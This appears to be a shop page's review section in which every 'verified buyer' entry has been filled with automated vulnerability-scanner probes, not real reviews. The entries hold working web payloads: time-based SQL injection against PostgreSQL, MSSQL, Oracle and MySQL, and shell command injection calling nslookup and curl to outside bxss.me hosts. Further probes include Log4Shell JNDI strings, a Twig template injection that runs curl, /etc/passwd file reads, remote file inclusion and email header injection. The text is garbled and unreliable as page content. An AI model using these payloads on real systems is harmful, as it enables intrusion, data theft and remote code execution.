DExWtSbs (comprador verificado) –
555zr93IRpT’; waitfor delay ‘0:0:15’ —
DExWtSbs (comprador verificado) –
555-1 OR 883=(SELECT 883 FROM PG_SLEEP(15))–
DExWtSbs (comprador verificado) –
555-1) OR 944=(SELECT 944 FROM PG_SLEEP(15))–
DExWtSbs (comprador verificado) –
555-1)) OR 761=(SELECT 761 FROM PG_SLEEP(15))–
DExWtSbs (comprador verificado) –
5555RJ9diwl’ OR 712=(SELECT 712 FROM PG_SLEEP(15))–
DExWtSbs (comprador verificado) –
555QmPjl3tk’) OR 450=(SELECT 450 FROM PG_SLEEP(15))–
DExWtSbs (comprador verificado) –
555ExhEvOd2′)) OR 631=(SELECT 631 FROM PG_SLEEP(15))–
DExWtSbs (comprador verificado) –
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
DExWtSbs (comprador verificado) –
555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
DExWtSbs (comprador verificado) –
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
DExWtSbsNAxWu9qq (comprador verificado) –
555
DExWtSbs’ AND 2*3*8=6*8 AND ‘ze2m’=’ze2m (comprador verificado) –
555
DExWtSbs0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z (comprador verificado) –
555
DExWtSbs0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z (comprador verificado) –
555
DExWtSbs-1 waitfor delay ‘0:0:15’ — (comprador verificado) –
555
DExWtSbsRrJiRtWB’; waitfor delay ‘0:0:15’ — (comprador verificado) –
555
DExWtSbsiupI9pSI’ OR 483=(SELECT 483 FROM PG_SLEEP(15))– (comprador verificado) –
555
DExWtSbsGSx2hkQC (comprador verificado) –
555
DExWtSbs’ AND 2*3*8=6*8 AND ‘Eo8u’=’Eo8u (comprador verificado) –
555
DExWtSbseGrQUWYt’; waitfor delay ‘0:0:15’ — (comprador verificado) –
555
DExWtSbsXM0E0Bhy’ OR 133=(SELECT 133 FROM PG_SLEEP(15))– (comprador verificado) –
555
DExWtSbsWnTgwENm’) OR 659=(SELECT 659 FROM PG_SLEEP(15))– (comprador verificado) –
555
DExWtSbsbOLgIQtY’)) OR 957=(SELECT 957 FROM PG_SLEEP(15))– (comprador verificado) –
555
DExWtSbs’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’ (comprador verificado) –
555
DExWtSbs (comprador verificado) –
555dsdtscLA
DExWtSbs (comprador verificado) –
555*959*954*0
DExWtSbs (comprador verificado) –
555h8CIciFr’; waitfor delay ‘0:0:15’ —
DExWtSbs (comprador verificado) –
555-1 OR 388=(SELECT 388 FROM PG_SLEEP(15))–
wrBEIRqX wrBEIRqX (comprador verificado) –
555-1) OR 580=(SELECT 580 FROM PG_SLEEP(15))–
wrBEIRqX wrBEIRqX (comprador verificado) –
555-1)) OR 390=(SELECT 390 FROM PG_SLEEP(15))–
wrBEIRqX wrBEIRqX (comprador verificado) –
555tFTR1RNS’ OR 991=(SELECT 991 FROM PG_SLEEP(15))–
wrBEIRqX wrBEIRqX (comprador verificado) –
555Vig71hAC’) OR 104=(SELECT 104 FROM PG_SLEEP(15))–
wrBEIRqX wrBEIRqX (comprador verificado) –
5559GUiCLwM’)) OR 720=(SELECT 720 FROM PG_SLEEP(15))–
wrBEIRqX wrBEIRqX (comprador verificado) –
555%2527%2522\’\”
tMtFQiRt (comprador verificado) –
555
tMtFQiRtjhShLsGZ (comprador verificado) –
555
tMtFQiRt (comprador verificado) –
555*1
tMtFQiRt (comprador verificado) –
5550″XOR(555*if(now()=sysdate(),sleep(15),0))XOR”Z
tMtFQiRtShrzFpda (comprador verificado) –
555
tMtFQiRt (comprador verificado) –
555*439*434*0
tMtFQiRt (comprador verificado) –
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
tMtFQiRtijaz1HbY (comprador verificado) –
555
tMtFQiRt'” (comprador verificado) –
555
tMtFQiRt (comprador verificado) –
555+425-420-5
tMtFQiRt (comprador verificado) –
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/
tMtFQiRtJtE2xDTW (comprador verificado) –
555
tMtFQiRt’||’ (comprador verificado) –
555
tMtFQiRtkt2REzRX’ OR 502=(SELECT 502 FROM PG_SLEEP(15))– (comprador verificado) –
555
tMtFQiRt (comprador verificado) –
555*971*966*0
tMtFQiRt (comprador verificado) –
-1 OR 5*5=26
tMtFQiRt (comprador verificado) –
555-1) OR 237=(SELECT 237 FROM PG_SLEEP(15))–
pHqghUme6chNi2NF (comprador verificado) –
555
echo jegrlm$()\ rgfjib\nz^xyu||a #’ &echo jegrlm$()\ rgfjib\nz^xyu||a #|” &echo jegrlm$()\ rgfjib\nz^xyu||a # (comprador verificado) –
555
${j${::-n}di:dns${::-:}${::-/}${::-/}hitpjlvlknmhjc99f3${::-.}bxss.me}zzzz${url:UTF-8:http://hithtmxiopmqk.bxss.me/} (comprador verificado) –
555
&echo ydmjwm$()\ qojgwx\nz^xyu||a #’ &echo ydmjwm$()\ qojgwx\nz^xyu||a #|” &echo ydmjwm$()\ qojgwx\nz^xyu||a # (comprador verificado) –
555
pHqghUme” AND 2*3*8=6*8 AND “3aF3″=”3aF3 (comprador verificado) –
555
pHqghUme&echo lyspvk$()\ beszrp\nz^xyu||a #’ &echo lyspvk$()\ beszrp\nz^xyu||a #|” &echo lyspvk$()\ beszrp\nz^xyu||a # (comprador verificado) –
555
pHqghUme%’ AND 2*3*8=6*8 AND ‘0u1b’!=’0u1b% (comprador verificado) –
555
|echo uelnxc$()\ gjqqfo\nz^xyu||a #’ |echo uelnxc$()\ gjqqfo\nz^xyu||a #|” |echo uelnxc$()\ gjqqfo\nz^xyu||a # (comprador verificado) –
555
pHqghUme (comprador verificado) –
${j${::-n}di:dns${::-:}${::-/}${::-/}hitdlxpzdtbgtc2a32${::-.}bxss.me}zzzz${url:UTF-8:http://hitvpvzvqwelp.bxss.me/}
pHqghUme|echo ohijss$()\ tgxgsw\nz^xyu||a #’ |echo ohijss$()\ tgxgsw\nz^xyu||a #|” |echo ohijss$()\ tgxgsw\nz^xyu||a # (comprador verificado) –
555
pHqghUme (comprador verificado) –
‘+response.write(9700792*9401078)+’
expr 9000884790 – 951625 (comprador verificado) –
555
pHqghUme (comprador verificado) –
“+response.write(9700792*9401078)+”
!(()&&!|*|*| (comprador verificado) –
555
pHqghUme (comprador verificado) –
to@example.com>
bcc:197220.168-44088.168.1b6fa.20477.2@bxss.me
pHqghUme (comprador verificado) –
${9999698+9999003}
pHqghUme (comprador verificado) –
file:///etc/passwd
$(nslookup -q=cname hitbzbhhorliyf588e.bxss.me||curl hitbzbhhorliyf588e.bxss.me) (comprador verificado) –
555
redirtest.acx?pHqghUme (comprador verificado) –
555
“.gethostbyname(lc(“hitto”.”kligofxjc4717.bxss.me.”)).”A”.chr(67).chr(hex(“58″)).chr(106).chr(75).chr(115).chr(75).” (comprador verificado) –
555
pHqghUme (comprador verificado) –
555&n906800=v999231
&nslookup -q=cname hitwxchszhfgq2a443.bxss.me&’\”`0&nslookup -q=cname hitwxchszhfgq2a443.bxss.me&`’ (comprador verificado) –
555
pHqghUme (comprador verificado) –
redirtest.acx
gethostbyname(lc(‘hitpr’.’ilnnzqva30d98.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(108).chr(86).chr(105).chr(71) (comprador verificado) –
555
“;print(md5(31337));$a=” (comprador verificado) –
555
pHqghUme’||sleep(27*1000)*raieli||’ (comprador verificado) –
555
pHqghUme1Bja4bbh’) OR 298=(SELECT 298 FROM PG_SLEEP(15))– (comprador verificado) –
555
|(nslookup -q=cname hitdhtnpezttj18f09.bxss.me||curl hitdhtnpezttj18f09.bxss.me) (comprador verificado) –
555
pHqghUme (comprador verificado) –
/etc/shells
${@print(md5(31337))}\ (comprador verificado) –
555
pHqghUme (comprador verificado) –
‘”()
pHqghUme’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’ (comprador verificado) –
555
http://bxss.me/t/rfi.php? (comprador verificado) –
555
‘+’A’.concat(70-3).concat(22*4).concat(105).concat(69).concat(104).concat(75)+(require’socket’ Socket.gethostbyname(‘hitqg’+’hfwskeon97f0d.bxss.me.’)[3].to_s)+’ (comprador verificado) –
555
pHqghUme'” (comprador verificado) –
555
bxss.me/t/rfi.php? (comprador verificado) –
555
‘A’.concat(70-3).concat(22*4).concat(120).concat(83).concat(97).concat(82)+(require’socket’ Socket.gethostbyname(‘hitgb’+’ecztfmtc70e09.bxss.me.’)[3].to_s) (comprador verificado) –
555
pHqghUme (comprador verificado) –
http://bxss.me/t/xss.html?%00
pHqghUme (comprador verificado) –
“+”A”.concat(70-3).concat(22*4).concat(114).concat(68).concat(98).concat(69)+(require”socket”
Socket.gethostbyname(“hitkf”+”exaoptiw12647.bxss.me.”)[3].to_s)+”
@@jubLL (comprador verificado) –
555
http://hitulnfldnzje.bxss.me/ (comprador verificado) –
555
pHqghUme (comprador verificado) –
‘+’A’.concat(70-3).concat(22*4).concat(119).concat(65).concat(121).concat(86)+(require’socket’
Socket.gethostbyname(‘hitcv’+’ypdwhsrv76864.bxss.me.’)[3].to_s)+’
(select 198766*667891) (comprador verificado) –
555
‘”> (comprador verificado) –
555
‘{“ (comprador verificado) –
555
pHqghUme'”()&%WSxK(9545) (comprador verificado) –
555
pHqghUme (comprador verificado) –
http://hitwrpfjkoiev.bxss.me/
pHqghUme (comprador verificado) –
‘{“
{{_self.env.registerUndefinedFilterCallback(“system”)}}{{_self.env.getFilter(“curl hitgqlkwurxbb7c0b8.bxss.me”)}} (comprador verificado) –
555
pHqghUme (comprador verificado) –
hitwrpfjkoiev.bxss.me
pHqghUme (comprador verificado) –
<!–
‘”()&%WSxK(9642) (comprador verificado) –
555
pHqghUme (comprador verificado) –
555|echo cwzgos$()\ xahrap\nz^xyu||a #’ |echo cwzgos$()\ xahrap\nz^xyu||a #|” |echo cwzgos$()\ xahrap\nz^xyu||a #
pHqghUme (comprador verificado) –
555+608-603-5
pHqghUme (comprador verificado) –
expr 9000642304 – 919146
pHqghUme (comprador verificado) –
‘.print(md5(31337)).’
pHqghUme (comprador verificado) –
(nslookup -q=cname hitpqdcrxhaiw84f82.bxss.me||curl hitpqdcrxhaiw84f82.bxss.me))
pHqghUme (comprador verificado) –
pHqghUme (comprador verificado) –
$(nslookup -q=cname hithmqyryztdo0e614.bxss.me||curl hithmqyryztdo0e614.bxss.me)
pHqghUme (comprador verificado) –
‘{${print(md5(31337))}}’
pHqghUme (comprador verificado) –
&nslookup -q=cname hitbwroudvigbacfd4.bxss.me&’\”`0&nslookup -q=cname hitbwroudvigbacfd4.bxss.me&`’
pHqghUme (comprador verificado) –
&(nslookup -q=cname hitoqpjtvzdea85c21.bxss.me||curl hitoqpjtvzdea85c21.bxss.me)&’\”`0&(nslookup -q=cname hitoqpjtvzdea85c21.bxss.me||curl hitoqpjtvzdea85c21.bxss.me)&`’
pHqghUme (comprador verificado) –
|(nslookup -q=cname hitjmepyzjlzw6e691.bxss.me||curl hitjmepyzjlzw6e691.bxss.me)
pHqghUme (comprador verificado) –
`(nslookup -q=cname hitoklwijpqfjdafe1.bxss.me||curl hitoklwijpqfjdafe1.bxss.me)`
pHqghUme (comprador verificado) –
;(nslookup -q=cname hitdqhqfmfjvn5b42d.bxss.me||curl hitdqhqfmfjvn5b42d.bxss.me)|(nslookup -q=cname hitdqhqfmfjvn5b42d.bxss.me||curl hitdqhqfmfjvn5b42d.bxss.me)&(nslookup -q=cname hitdqhqfmfjvn5b42d.bxss.me||curl hitdqhqfmfjvn5b42d.bxss.me)
pHqghUme (comprador verificado) –
|(nslookup${IFS}-q${IFS}cname${IFS}hitrcuyzvhxoq3a9b0.bxss.me||curl${IFS}hitrcuyzvhxoq3a9b0.bxss.me)
pHqghUme (comprador verificado) –
&(nslookup${IFS}-q${IFS}cname${IFS}hitxtibxcloxtbe575.bxss.me||curl${IFS}hitxtibxcloxtbe575.bxss.me)&’\”`0&(nslookup${IFS}-q${IFS}cname${IFS}hitxtibxcloxtbe575.bxss.me||curl${IFS}hitxtibxcloxtbe575.bxss.me)&`’
pHqghUme (comprador verificado) –
-1′) OR 5*5=26 —
pHqghUme (comprador verificado) –
-1″ OR 5*5=25 —
pHqghUme (comprador verificado) –
-1″ OR 5*5=26 —
pHqghUme (comprador verificado) –
@@fYt0l
pHqghUme (comprador verificado) –
(select 198766*667891)
pHqghUme (comprador verificado) –
(select 198766*667891 from DUAL)